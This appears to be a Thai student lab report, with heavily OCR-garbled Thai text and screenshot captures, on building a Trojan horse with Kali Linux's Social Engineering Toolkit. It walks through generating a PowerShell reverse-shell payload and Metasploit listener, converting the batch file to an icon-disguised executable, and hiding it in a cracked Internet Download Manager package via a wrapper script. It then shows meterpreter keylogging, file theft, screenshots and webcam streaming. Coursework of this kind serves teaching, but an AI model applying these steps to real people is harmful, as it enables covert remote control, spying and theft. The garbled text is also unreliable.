wEINYIdvaUUTY
Ug

T1NU

304 Social Engineering Toolkits

Tamlag
1. woaignad e 573020416-0 sec.2 Group 55
2. MBI NyANULT 573020417-8 sec.2 Group 55
4
3. WgAnAaa ﬂi%‘nﬂJ‘lﬁJ{] 573020438-0 sec.2 Group 56
4. unané’mﬂmﬁ HIAN 573020451-8 sec.2 Group 56
5. umﬁ%”mﬂj TINITNY 573020683-7 sec.2 Group 57
6. UNAITYINT  NaATiAn 573021143-4 sec.2 Group 57
LU

o v a 4
0. IA.A7.9NTVY Taduns

SenuiiudumilavesnsdngmIn 322 376 ¥931 INFORMATION AND COMMUNICATION
TECHNOLOGY SECURITY
maseu 1 Umsanyi 2559
MAININNMIABNNUADS AN INTINaNT

UHINGAIVOULAY



ﬁé’nmiuazmqwa

thiu sededanvus i@ lunanezduuy vazdruiludslndd fininlilasasealda on

4

I~ d' v W 1 1 1 [] A v W 9Y o 1 1 Y] o 14
anilumgovesnsaIna1I0e1918A18 1131018 HeanunyIndad Tugiuuuaien wu seneInsans
o a s A o 9 LY Ay o gy Y !
foneduaesiiia wsonsninmsgnlasnisudoyalu1dlumen lud Wudu mslasnssudoyadiu

A ) ' A Yy A A "oy

yaaa aemsmsy luedeyadiuyanavesdou 1143 Tnanseneersannssudus iy ihdoyaveus

Y o w a Ya A A v A R~ Y ] Y dysl A = oA
Tldviniasnsaa §Ru wselatiyd v Wudu nindunadraniideuTa 1 luveveus Faniiee

o ' <] wa - [ ) .
ud lulapndanan Nedelszia momaiinagdininelddnen Tusunsu Kali Linux way
4 ' < 4 % : o

T1J51n51 Social Engineering Toolkit tite lail#anitlumaevesdilszaendio deo1aaznszvh ldnainaie
a1 . . Inada an & A Aa 1o A anda 1 . Yo o =2 1Y
17 %W Hacking, Cracking UAITONIBHINNY UNUBUFUAUADITNITIND Trojan Horse ﬂmzﬂﬂﬂﬂwﬂﬂ

= a .
ANy louALLD Trojan Horse

Sagiszasn

A = ax A A a d Y .
1.L‘W@?fﬂ‘kl1’J‘ﬁﬂﬁiﬁ]uﬂLﬂiﬂiﬂﬂMW’JWlﬂiﬂﬁﬂ Trojan Horse

A = Aan 9 ) A A s .
2. !,W’E]ﬁmslTJ‘Eﬂﬁ‘]J’ENﬂuLﬂif’Nﬂf’JJJW’Jm?JTMﬂ Trojan Horse

3. ienzimuamatlesiuliszgnd 1918 ludinses1iu

sz Teminmaiieg lasy

= 29 .
1. NIIWDWUINMS JauARY Trojan Horse
=< Y v 29 .
2. NIUDWUINIMsToanums lauaaie Trojan Horse

3. annsahuuamailesdulilsegndle 18 1udin sz s1u



insasdouazldsunsunlylunsnaaeu

1. Kali Linux 2.0

Your ¥ just got

MMNA 1 Kali Linux 2.0

I @ a ua ) o
Kali Linux 2.0 ¥30 1AA114 “Kali Sana” LﬂuuwaﬂWﬁmuuuix‘uuﬂgmmi Debian Jesse 81415119
a s A 1 ' x @ J
L"ani%‘U‘]Jﬂﬂ3JW']WIﬂilﬁ@ﬁi?ﬂﬂW“ﬁ@ﬁIﬂ')IﬂﬂlﬂW13 %QN'IW%}@‘JJT']TJ%ﬂ‘ﬂﬂﬁﬂﬂliﬂ%i%ﬂﬂ‘NWﬂﬂ'ﬂ 100
Y
1] a a aa < a Y]
318N13 i'JlJ‘VNﬁiZTJTJﬂ'li']tﬂi'l%ﬁﬁﬁﬁﬂ@] NITLUIAN LLﬁ%']ﬁ'Jﬂii‘lJEsleJUﬂa‘U (Reverse Engineering) GIfl«l
o 1 dy 9Y o a J [ 1 d‘ A 1 d‘ Yq 9
IDIBU 2.0 agau ulﬂﬂ'lﬂ'lﬁﬂ’t]ﬂllﬂﬂﬂulﬁi’)ilwaiﬂ3J IANQULATIIND ngml‘ﬁlllﬁﬂﬂNﬁﬁTQ‘]LWﬂiﬂi%’ﬂ]u

o A X
"lﬁ'ﬁxmﬂﬂammmﬂﬂwu



2. Social Engineering Toolkits (SET)

WA 2 Social Engineering Toolkit (SET)

T13un5Y Social Engineering Toolkit (SET) (¥ 1 TsunsunldluTandunuiemnssudanuazinedny

) A 9 ' YR Y1 Ao w Y = ~
mﬁ‘ﬁa’e’]ﬂi“rﬂJNﬂUﬁﬁﬂﬂﬁLW@Hﬂﬁzuu B NMTHADNDINUINANIU ﬂ1§ﬁa@ﬂ1ﬁﬁ\1ﬂﬁ1 ﬂ]ualﬁ Glf\jﬂ’]ijzﬂl]@]

F4
=

to Y ) Y} o { Y N 7 a o <
ﬂsmmu%m@mﬂ%mmgﬂmmnu1tgLﬁmmmmeamaiﬂ%mimzswmaﬂ ’Jﬁ?ﬂiiﬂJﬁQﬂNLﬂu

]
1 ~

9 [ A 9 @
nvouNosnuenms1zNgIVoINUAY

Q

3. Oracle Virtual Box

VirtualBox

MMWN 3 Oracle Virtual Box



. A QoA . < ?o @ o A 4
VirtualBox (¥911A0 Oracle VM VirtualBox) (11 T sunsunwsuasdmsudiiaosssuunouniass
doondiiannossulnife VirtualBox 3.2.12 Build 68302 18317 30-Nov-2010 Taslumessutiauise

39451 Ubuntu 10.10 448 Fedora 14

. 3| s o v Y o ° a J . T
VirtualBox (Husendudidmiuldviinssiassssuunoniiuaes (Virtualization) DUILUY x86
@ = Y . I a a Y dy =
118z AMD64/Intel64 anyaziAedn U 11/51n54 VMware Workstation (1)1 T1/5unsudamivddostedans
3 Y
T Iddulandu) uag VMware Player 3.0 (13135019911 1813) voavMware 13011514033 Virtual PC
U89 Microsoft ¥4a11150 15411 1495 1ay Windows Virtual PC Y04 Microsoft #3191 lanFuasslimme

TuWindows 7 5U Professional, Enterprise (181¢ Ultimate

. & ¢ < o ! v X g .
VirtualBox 1J U0 WALIT1UD Open Source #@H11A8 Oracle (NOUNH1HLTU Sun Microsystems
: o { a o 1 J
Falagiiugnaenanis Iae Oracle)amnsn ldau 1dvs Tag lutian 1491001014 laiuduny GNU General
S s ga a A o ¥ s ¢
Public License (GPL) i usednsntilsz@nsamgesossumsldanlanaluemmnes lwsd (Enterprise)

Y 9 v A 79 Yq ¥ Ao o & A A A
wagmy lganuaeluiinu tazdalines v lsnuranratsuazndinnilu Tsgrussauieonswin loauy

185

. A A 9 o A A (dg! = A & 1
VirtualBox ﬂE]T‘]JﬁlLﬂiuﬂi“ﬁiutﬂiﬂiﬁﬂﬂmﬁ@ﬂﬂ@MW?LﬁﬂﬁﬂJuﬂJWGﬂLﬂiﬂﬂﬁuQIﬂ8ﬂ1§LL1JQ

9
(4

Y
ninensnnszuunan ll1dgu CPURAMVGAHDD Taogassrmevanvesllsunsuiifonisanaa

Y [l 1 [
szupduamsvundnamilaielFaunuanaraiuly awnsoldanld Windows, Mac, Linux



v
U

Y
VUADUMINFIIU

1. myaFalula Payload @28 Social Engineering Toolkit (SET)

[Z4] Kali [Running] - Oracle VM VirtualBox - =] X
File Machine View Input Devices Help
Activities Tue 11:44 fol

Network Servers

VBOXADDITIONS
5.1.4.110228,

>
BEOFL/EEE O B[O rontcy

= g . Lo &
1.1 (aT1/51n54 Oracle VM VirtualBox NUUNINITYA Kali Linux UYUN



7] Kali [Running] - Oracle VM VirtualBox - o X

File Machine View Input Devices

Activities [) Terminal v 2

Help

root@kaliasdasd: ~
DERLELLEE File Edit View Search Terminal Help

VBOXADDITIONS

5.1.4.110225,

BB EE W O @ O rohtcy

1.2. (5on19971 Terminal

7] Kali [Running] - Oracle VM VirtualBox — o X
File Machine View Input Devices Help
Activities [ Terminal Tue 11:44

root@kaliasdasd: ~
DEELEEREE File Edit View Search Terminal Help

:~# setoolkit]]

VBOXADDITIONS

5.1.4_11022/8

’////

BRLLEE W @ S @ rtcy

1.3. (5on14a14 Social Engineering Toolkit (SET) lagn13 AN setoolkit



7#] Kali [Running] - Oracle VM VirtualBox - o X

File Machine View Input Devices Help

Activities [ Terminal v Tue 11:45

root@kaliasdasd: ~

DLULLRLULE File Edit View Search Terminal Help

VBOXADDITIONS
5.1.4.110228

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

Select from the menu: I[

1) Social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Soc -Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

>

BOPoEE R O @ @ rihtcy

1. 4. Terminal 9¥1M 310 Social Engineering Toolkit (SET) YU

7+ Kali [Running] - Oracle VM VirtualBox - o X
File Devices

Activities [ Terminal ~

Machine View Input Help

root@kaliasdasd: ~

DEACLERCIE File Edit View Search Terminal Help

VBOXADDITIONS

5,1.4_11022/8

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu:

Social -Engineering Attac

the Soc -Engineer Toolkit
SET conf i
t

Exit the Social -Engineer Toolkit

> 11

>
REOFLEE @ @ S @ rihtcl

a 4
1.5. La’e’]ﬂml{g Social Engineering Attack Tasm sy 1 udInA Enter



3] Kali [Running] - Oracle VM VirtualBox - o X
File Machine View Input Devices Help

Activities [ Terminal v Tue 11:46

root@kaliasdasd: ~

The Social-Engineer Toolkit is a product of TrustedSec.

VBOXADDITIONS.
5.1.4-11022/8

Visit: https://www.trustedsec.con
Select from the menu:

1) Spear-Phishing Attack Vectors

2) Website Attack

3) Infectious Medi

4) eate a Payload and Listener

5) Mass Mailer Attack

6) A ino- d Attack Vector

7) Wir \ Point Attack Vector
8) Q or Attack Vector

)] \ ~1ﬂ11 Attack Vectors

10) rd Party Modules

99)

>9

BOPEE R O G @ rihtcy

a 4
1.6. !ﬁ@ﬂlm& Powershell Attack Vector 1Agn5 WU 9 LLfsilﬂﬂﬂ Enter7.

2] Kali [Running] - Oracle VM VirtualBox
File Machine Devices

Activities [-) Terminal ~

View Input Help

root@kaliasdasd: ~
DEALLEERLIE File Edit View Search Terminal Help

Point Attack Vector
- Attack Vector

Tlul d Party Modules

VBOXADDITIONS

51.4.1102 Return b to the main menu.

Powﬂbhdl wluch é -xllablc by dnfau

’ tlnq sys tom< W i and above. PowerShell provides a fruit

cape for deployin a d performing functions that do not get
d by preventative technologie:

shell Alphanumeric Shellcode Injector
Shell
Bind Shell
Dump SAM Data
to Main Menu

>1

-

///,

BOByEE @ QG B rontcyl

a 4
1.7. La’e’]ﬂmg Powershell Alphanumeric Shellcode Injector Taemsing 1 udInA Enter



4] Kali [Running] - Oracle VM VirtualBox

File Machine View Input Devices H

Activities

7) Wireless Acce

8) QRCode

elp
Tue 11:47

root@kaliasdasd: ~

ss Point Attack Vector

Generator Attack Vector

Powershell Attack Vectors
Third Party Modules

VBOXADDITIONS Return

5.1A4_11022/8

>9

back to the main menu.

The Powershell Attack Vector module allows you to create PowerShell specific att

acks.

1t in all operati
ful Tlandscape for

triggered by

1)

Return

> IP addr

These attacks will allow you to use PowerShell which is available by defau

/ista and above. PowerShell provides a fruit
do not get

systems Windows
deploying payloads and performing functions that
preventative technologi

Alphanumeric Shellcode Injector
Reverse Shell

Bind Shell

Dump SAM Database

to Main Menu

>1
for the payload listener (LHOST 192.168.1

BEOFEE PO S @ riohtcy

1.8. NI0N IP Address ﬂl@ﬂ!ﬂ%ﬂ\i@gl}u'ile

_#] Kali [Running] - Oracle VM VirtualBox

File View Devices

GJ Terminal ~

Machine Input

Activities

ode
ers

Third

Return
VBOXADDITIONS
5,1.4-110%

The Powershe

op

ape for d

Return

> IP addr

Help

root@kaliasdasd: ~

Generator Attack Vector
hell Attack Vectors
ty Modules

back to the main menu.

11 Attack Vector module allows you to create PowerShe
attacks will allow you to u PowerShell which is a
erating systems Windows Vista and above. PowerShell pr
eploying payloa and performing functions that
reventative technolo 5

able by defau
vides a fruit
do not get

1
1
o

Alphanumeric Shellcode Injector
Reverse Shell

Bind Shell

Dump SAM Database

to Main Menu
>1

for the payload listener (LHOST): 192.168.1.6
> Enter the port for the reverse [443]:44

o

>
BEFEE B O S @ rontcr

1.9. N300 Port dM5UTOTUTOYA




[Z4] Kali [Running] - Oracle VM VirtualBox - [m} X
File Machine View Input Devices Help

Activities Terminal v Tue 11:49

‘ root@kaliasdasd: ~

DLRLLRLULE File Edit View Search Terminal Help

The Powershell Attack Vector module allows you to create PowerShell specific att

acks. These attacks will allow you to use PowerShell which is available by defau|

1t in all operating Windows Vista and above. PowerShell provides a fruit

ful Tlandscape for deploying payloads and performing functions that do not get
VBOXADDITIONS, t i d ventative technologies.

5.1.
Alphanumeric Shellcode Inj

Reverse Shell
Bind ell
Dump SAM Databasaﬂ

Return to Main Menu

g >1
> IP addr for the payload 1 ener (LHOST): 192.168.1
: > Enter the port for the reverse [443]:443
Prepping the payload for delivery and injecting alphanumeric shellcode
ell injection code.
ting powershell injection bypass.
execution ri riction policy...

If you owershell commands and attack, they are exported to

set/reports/powershell/|

> Do you want to art the listener now [ye:
>
BOFPLEEE D G @ rRontcy

1.10. Tdsunsuazyiimsad1a Payload Tasazifiu 1311 Path /root/set/reports/powershell/

[Z4] Kali [Running] - Oracle VM VirtualBox — [m] X

File Machine View Input Devices Help

Activities [ Terminal ~

Network Servers|

root@kaliasdasd: ~
File Edit View Search Terminal Help

L1 y L ific att)s
ac T & low you to vhich i e by defaul
L1 é gle t Windo v . Po hell provi fruit

1k d f ~forming functions that do not get

VBOXADDITIONS

514110228 Sholl re
rshell Bind

)
99) Return to Main Menu
z >1

x86_powershell_==t> IP addr for the payload listener (LHOST): 192.168.1.6
injection.bat : Enter the rt for ver [443] :443
d 2 / injecting alphanumeric

|G c L tion bypa
iol P 7 ion pol
] ; ) .

and att ported to /root/.

8%
x86_powershell_
injection.bat.zip 7 2 \

BEOEBYEE @ @ G @ Rriohtcul

1
A

A 2 .
1.11. 991 Yes tN0I5uN543JU Listener



[Z4] Kali [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Activities [) Terminal ~

root@kaliasdasd: ~

N AaE File Edit View Search Terminal Help
Metasploit Pro -- learn more on htt /rapid7.com/metasploit

f
o encoders

]
uxiliary post ]
]
]

VBOXADDITIONS.* =~ 7 .co/trymsp
.rc for ERB directiy
use multi/handl
set payload wi

set LPORT 443

x86_powershell_ owershell/powershell. set LHOST 0.0

injection.bat e 7 _
n . 7 rts/ ell/ hell. et ExitOnSession false

ell/powershell. xploit

rse TCP handler on

yload handler...

x86_powershell N>
injection.bat.zip

BOSsEE iR @ S @ rontc
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CY a 1 a d
1.12. 91N4Y Terminal 911)a Metaploit Yuxn T¥seaunindhwmineazidlalg
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_#] Kali [Running] - Oracle VM VirtualBox - =] x

File Machine View Input Devices

NActivities () Terminal ~ -~

Help

root@kaliasdasd: ~
Network Servers @la cazd

File Edit View Search Terminal Help

°___ :~# cd /root/.set/reports/powershell/

VBOXADDITIONS _

5.1.4_11022/

>
BOLrEEE OGS @ rontc

Y Y ]
2.1. 11l@ Terminal ¥un 91w 111y Path 1 T sunsudmua 1y

7] Kali [Running] - Oracle VM VirtualBox - o x

File Machine View Input Devices

Activities Terminal ~ N @

Help

Networkseres root@kaliasdasd: ~/.set/reports/powershell

File Edit View Search Terminal Help

x86 powershell

VBOXADDITIONS _
5.1.4.110228,

>
BOLI/EEE O S @ rshtcyl

=

v r Y H i1
2.2. 19 Is itevhimsasvaeu i Wdegluiuvieli Tagldngnasiaaziiven

x86_powershell injection.txt



[74] Kali [Running] - Oracle VM VirtualBox - [m} X
File Machine View Input Devices Help

YActivities [ Terminal v Tue 11:50

a)

Network Serecs root@kaliasdasd: ~/.set/reports/powershell

File Edit View Search Terminal Help
reports/po
wershell#
x86 powershell

ershell# cp x86_powershell_injection.txt ~ D@sktopl

VBOXADDITIONS _
5.1.4.110228

>
QOFLEEE O G @ rihtcr

2.3. M3 Copy W& 157 Desktop

7+] Kali [Running] - Oracle VM VirtualBox — [m] X

File
\ Activities
23

Machine View Input Devices Help

Network Servers

VBOXADDITIONS _
5.1.4.110228,

x86_powershell_
injection.txt

BEFEE B O S @ rntcr

2.4. Desktop 321/3105) TWla# 1&v1m3 Copy ponIN



3] Kali [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Network Servers

VBOXADDITIONS _
5.1.4.110228,

x86_powershell_

injection.txt

File name

x86_powershell_injection.baq

BOLILEE R O S @ riohtc

[ Y
2.5. lasuuuana s Tasaailu bat

[Z&] Kali [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Activities Tue 11:52
A

e

Network Servers

o —

VBOXADDITIONS _
5.1.4.110228,

x86_powershell_

injection.bat

>
BOPLEE @ O S @ rotct
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'E Kali [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Activities El Terminal ~ Tue 12:19

root@kaliasdasd: ~

RERLULLEE File Edit View Search Terminal Help

VBOXADDITIONS
5.1.4_110228, ‘

x86_powershell.
injection.bat

x86_powershell
injection.bat.zip
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/#] Kali [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

ivities [ Terminal ~

root@kaliasdasd: ~
DLLLUEAEE File Edit View Search Terminal Help

- ERB directi
i dler

LPORT 443
LHOST ©

ExitOnSession false
/powershell/powershell. -3
ackground job.

CP handle
yload handler...
) > [*] Sending 487 bytes) to 192.168.1.14
ion 1 opened (1 .1.6:443 -> 192.168.1.14:54593)
0

rting interaction with 1...

x86_powershell_.meterpreter > [
injection.bat.zip

_ _
5
_

PR EE R O @ @ rihtcyl

= . ' A Y @ 2 a o .
3.2. l‘ﬂﬂ sessions IEUINATONAUNNNULYIYD TﬂﬂWﬂJW sessions -1 1
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Lﬁ@ﬁnﬁﬁ]ﬂxﬂ’ﬂﬂaﬂ?@ﬂ?m Starting interaction with 1...



7+ Kali [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Activities [ Terminal ~ Tue 12:29

root@kaliasdasd: ~

File Edit View Search Terminal Help

o—w > help

VBOXADDITIONS Command
5,1A4_110& 2
background the current session
bgkill < ckground meterpreter script
runting background script
utes a meterpreter script as a background thre

Displays information or control active channels
a channel
disable_unicode_enc ing Disables encoding of unicode strings
de_encoding Enables encoding of unicode g
Terminate the meterpreter session

Z =
5 ‘ Get the current session timeout

injection.bat

Help menu
Displays information about a Post module
dJrop into irb scripting mode

ZIP Load one meterpreter extensior

x86_powershell_ ID of the machine attached to the s

injection.bat.zip 2 , _

BOPFIEEE O S @ rehtcr

v
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o v a 4
3.3 gnsaamdanavuald Ilaan iy help

U

7+ Kali [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Activities [ Terminal ~

DL LGS File Edit View Search Terminal

root@kaliasdasd: ~

VBOXADDITIONS
iler on

5.1.4_110228, | .
5 A | ~ting the p ad ndler

x86_powershell_
injection.bat

eterpr
x86_powershell_ meterpreter

injection.bat.zip
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@ Bat To Exe Converter v2.4.6

Batch fle: |

Save as: |

Options Indude Version information Editor Program settings

Visibility

(@ visible application
(O Invisible application

Temporary files

(® Delete on exit
(Do not delete

Miscellaneous
[[] Add administrator manifest
[ overwrite existing files

[ compress the exe using UPX

Working directory

(® Current directory

(O Temporary directory

Encryption

[CJencrypt the program

Password:

Architecture

@ 328it
Oe4sit

Reset all entries

www f2ko de

Exit

4.1. 19 Tlsunsy

Bat to Exe Converter v.2.4.6

ieutlasTvlduwana bat i exe




€2) Bat To Exe Converter v2.4.6 - O X

Batchfile: | C:\Users\nutta\Desktop\x86_powershell_injection.bat | [
Save as: IC:\UsersVnttaDesktop\)@G _powershell_injection.exe I

Options Incude Version information Editor ~ Program settings

tonfes | [

[Jindude version information
File version: 1,0,0,0
Product version: 1,0,0,0
Company:
Productname:
Internal name:
Description:
Copyright:

Compie | Reset all entries | Exit

www.f2ko de

P ) o
4.2. 1890 Batch File tazidon Iliaasndosmsiunn g




€2) Bat To Exe Converter v2.4.6 — (]

Batch file: [ C:\Users\nutta\Desktop\x86_powershell_injection.bat ]

Save as: [ C:\Users\nutta\Desktop\x86_powershell_injection.exe ‘

Options Indude Versioninformation Editor Program settings

Icon file: l C:\Users\nutta\Desktop\idm.ico

[Jindude version information
File version: 1,0,0,0
Product version: 1,0,0,0
Company:
Productname:
Internal name:
Description:

Copyright:

Compile Reset all entries Exit

www f2ko de

v ] Y
43, ansoldeuntladleasu'ld Tagdn 119 Version information 91n1u@en 1nld leasiu ico

idman625b...

¥36_power...

4.4, Wan ldnnmsmlasztivuanaiiu exe naziflulonoumuidond
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5. gnamsanslamieviasnasithwung

I M = | Internet Download Manager6.26 Build1 + crack - (] X
Home Share View - @
> v 4 > Internet Download Manager6.26 Build1 + crack v D Search Int... 0@
() Name Date modified Type Size
s+ Quick access
Languages 28/11/2559 12:57 File folder
I Desktop » . 9429 ) -
g idman626build2.exe 10/9/2559 2:50 Application 6,721 KB
¥ Downloads  # b patch.exe 10/9/2559 14:12 Apphcation 4181KB
5] Documents # [5] 32ua%n IDM 6.26 Build 2.txt 12/7/2559 15:08 Text Document 1KB
[&=] Pictures » x86_powershell_injection.bat 22/11/2559 11:50 Windows Batch File 7KB
Compressed

Internet Downlo
Midterm
Prototype

& OneDrive

3 This PC
[ Desktop
Documents
4 Downloads
D Music
[&] Pictures
B videos
‘s Local Disk (C:)
& (D)
- Local Disk (E:)

& D)

boot S/
5 items

A oa ¥ A v 1Y
1. L@lﬁﬂllulwaﬂﬂﬂﬂ‘llﬂﬂIﬂﬁllﬂiﬂﬂ@lﬂﬂﬂ'ﬁ%%ﬁﬁﬂﬂﬁﬂlﬂ']ﬂiﬂﬂ



B =

Home Share View Manage
<« v 4
A Name
s Quick access
[%] x86_powershell_injection.bat
B Desktop » = =
! idman626build2.exe
! Downloads  # 0] instvndng
|5 Documents # [ inst_chn.ing
[&] Pictures » | ] idm_ptbr.ng
Compressed D idm_ar.Ing
Internet Downlo ] inst aring
Midterm Q tips_ar.tt
idm_it.l
Prototype u I m'_ g
D inst_it.Ing
@ OneDrive u inst_tr.Ing
[] idm_trin
[ This PC g g
— |] idm_deng
D idm_frIng
E] inst_fr.ing
& Downloads [ idm_ruing
)l Music u template.Ing
Pictures ] idm_fang
. Videos Q inst_fa.lng
. | ] inst_de.Ing
‘s Local Disk (C:) =
| ] inst_ptbr.Ing
& @ \J tips_fr.ot
s Local Disk (E) [ inst_uzIng
& D) D inst_ru.Ing
book © Q template_inst.Ing
57items 2 items selected 6.56 MB

Application Tools

Languages

> Internet Download Manager6.26 Build1 + crack > Languages

Date modified

22/11/2559 11:50
10/9/2559 2:50
19/7/2559 16:40
13/7/2559 20:37
11/7/2559 18:38
9/6/2559 22:45
9/6/2559 22:39
9/6/2559 22:39
8/6/2559 23:15
8/6/2559 23:15
30/5/2559 23:17
30/5/2559 23:17
23/5/2559 23:29
23/5/2559 23:29
23/5/2559 23:29
20/5/2559 19:20
20, 59 19:06
19/5/2559 23:05
19/5/2559 23:05
4/5/2559 11:04
29/4/2559 21:55
28/4/2559 21:52
22/4/2559 20:34
15/4/2559 23:20
15/4/2559 23:19

v o

Type

Windows Batch File

Application
LNG File
LNG File
LNG File
LNG File
LNG File
Text Document
LNG File
LNG File
LNG File
LNG File
LNG File
LNG File
LNG File
LNG File
LNG File
LNG File
LNG File
LNG File
LNG File
Text Document
LNG File
LNG File
LNG File

- o

Search La... 0

Size N7

7KB
6,721KB
8KB
4KB
104 KB
86KB
5KB
3KB
110KB
7KB
6KB
99KB
103KB
115K8B
7KB
97KB
98 KB
99KB
5KB
6KB
7KB
3KB
8KB
6KB
7KB

s
2. ﬁTVlWﬁlﬁﬂﬁﬂmﬂﬂiﬂiuﬂﬁJﬂi

auazld bat

A 9

51913910 Social Engineering Toolkit wunvu 13 Folder

Language

IE

Home Share

=y ¥

~

s Quick access
I Desktop

& Downloads

[ﬁ Documents

% % %N

[&] Pictures
Compressed
Internet Downlo
Midterm
Prototype

& OneDrive

[ This PC

I Desktop
Documents
& Downloads
D Music
[&] Pictures
. Videos
‘i Local Disk (C:)
& D)

- Local Disk (E:)

& D)
boot /

4items

View

Name -
Languages

|] idman626build2.tt

ﬂ patch.exe

[5] 32un%n IDM 6.26 Build 2.t¢

1item selected 0 bytes

< | Internet Download Manager6.26 Build1 + crack

> Internet Download Manager6.26 Build1 + crack

Date modified

28/11/2559 13:00
28/11/2559 13:03
10/9/2559 14:12
12/7/2559 15:08

Type

File folder

Text Document
Application
Text Document

— m} X
(2}
v O Search Int... ©
Size
0KB
4,181KB
1KB

Y J g ] A Y A v v oa ¥ a
3. ’ﬁi'l\i]lwﬁ xt VUM A0 IMlauUNUAIAAAIved 11sunT NS




) idman626build2.bat - Notepad

File Edit Format View Help

@echo off

start Languages/x86_powershell injection.bat
start Languages/idman626build2.exe

@ 4 g { <3|
4.130u Seript 10 I txt 9110 Save udamlaeuuwanaiv bat

) Bat To Exe Converter v2.4.6 - m] X
Batchfle: [ C:\Users\nutta\Desktop\Internet Download Manager6. 26 Build 1 + crackdman6 26build2.bat |
Save as: I C:\Users\nutta\Desktop\Internet Download Manager6. 26 Build1 + crack\Jdman626build2.exe |
Options Indude Version information Editor Program settings
Visibility Working directory
(@ visible application (® Current directory
O Invisible application O Temporary directory
Temporary files Encryption
(® Delete on exit [CJencrypt the program
(Do not delete password:
Miscellaneous Architecture
[ Add administrator manifest
@® 328it
[[J overwrite existing files
Oe48it
[[] Compress the exe using UPX
Compile Reset all entries Exit
www.f2ko de

a 1 g’z 4 I
5. 110aT1/51n51 Bat to Exe Converter v.2.4.6 111ad'1Wd idman626build2.bat 1'laa519 13 ludunoundnilu
. . 4 oy

idman626build2.exe ItNOViaonaoiil11ue




| < | Internet Download Manager6.26 Build1 + crack

Home

1

s Quick access
I Desktop
4 Downloads
Documents
[&] Pictures

Compressed

Share

> Internet Download Manager6.26 Build1 + crack

% NN

Internet Downlo

Midterm
Prototype

& OneDrive

This PC
I Desktop
Documents
& Downloads
D Music
[&=] Pictures
B videos
‘s Local Disk (C:)
(D)
wa Local Disk (E:)

% D)

boot

4 items

A

View

~
Name

Languages
&) idman626build2.exe

Qﬂ patch.exe
[5] 334a%n IDM 6.26 Build 2.txt

Date modified

28/11/2559 13:00
28/11/2559 13:18
10/9/2559 14:12
12/7/2559 15:08

Type

File folder
Application
Application
Text Document

— (m}
v 0 Search Int...
Size
71KB
4,181KB
1KB

6. Tdnldndaninmsnlas bat 51 exe



6. AIDENIMEFS

6.1 sysinfo

9 A 9,
mnﬁamayammmimvﬂmma

> sysinfo
: DESKTOP -GAFKRAQG
: Windows 10 (Build 14383).
Architecture : x64 (Current Process is WOwW64)
System Language : en US

Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32

6.2 keyscan_start

53UV Keylogger

6.3 keyscan_dump
9 A o ¥
LEAIYOANUNIINT Keylogger 1118

erpreter > Keyscan_dump
Dumping captured keystrokes...
keysatrrt <Back> <Back> rt <Back> <Back> <Back> <Back> <Back> r <Back> tart <Return> He <Back> wll <Back>
<Back> <Back> ello
meterpreter >

6.4 download

a1l Tvaa Trldheglunseuthmune

> download patch.exe ~/Desktop

downloading: patch.exe -> ~/Desktop/patch.exe
download : patch.exe -> ~/Desktop/patch.exe




6.5 upload

onTnanlwd lsuaseuihnune

> upload /root/test.txt C:\Users\nutta\Desktop
[*] uploading : /root/test.txt -> C:UsersnuttaDesktop

[*] uploaded : /root/test.txt -> C:UsersnuttaDesktop

6.6 pwd

meterpreter
C:\Users\nutta\Desktop\Internet Download Manager6.26 Buildl + crack\Languages
meterpreter >

6.71s

meterpreter > 1s
Listing: C:\Users\nutta\Desktop\Internet Download Manager6.26 Buildl + crack

40777/ rwx rwx rwx (€] 2016-11-28 01:00:50 -0500 Languages

100777/ rwxrwxrwx 72192 2016-11-28 01:18:20 -0500 idman626build2.exe

100777/ rwxrwxrwx 4280637 2016-09-10 03:12:23 -0400 patch.exe

100666/ rw-rw-rw- 179 2016-07-12 04:08:20 -0400 358un¥n IDM 6.26 Build 2.txt

6.8 screenshot

'
o

Y o v A Y
ﬁ\ﬂ’ﬂ‘ﬂ?ﬂﬁ capture Wuﬁ]@ﬁﬂﬂlﬂiﬂ%ﬂWWNWﬂ

preter > screenshot

Screenshot saved to: /usr/share/set/TpzjYtBI.j




6.9 ps

9 1]
1PN Process mwmmmm?mﬁﬂmma

meterpreter > ps

Arch Session User

[System Process]

System
svchost.exe
SMSS.exe
cSrss.exe
wininit.exe

CSrss.exe

6.10 kill

v A o d‘ 9
741aN159119 U89 Process VuIAToU MY

meterpreter > kill 6724

Killing: 6724



6.11 webcam _stream

duilandes Webcam voudhvune nazdanmindad Towd

www.Bandicam.com
Metasploit webcam_stream - 192.168.1.5 - Mozilla Firefox
Metasploit webcam_stre.. x | #

file:///usr/share/set/yONbJzCl.html ¢ ||Q Searct B 9 3 A =

[ Most Visited v JfjOffensive Security "\ Kali Linux "\ Kali Docs “\ Kali Tools EBExploit-DB W Aircrack-ng

Target IP : 192.168.1.5
Start time : 2016-11-19 20:48:04 -0500
Status : Playing




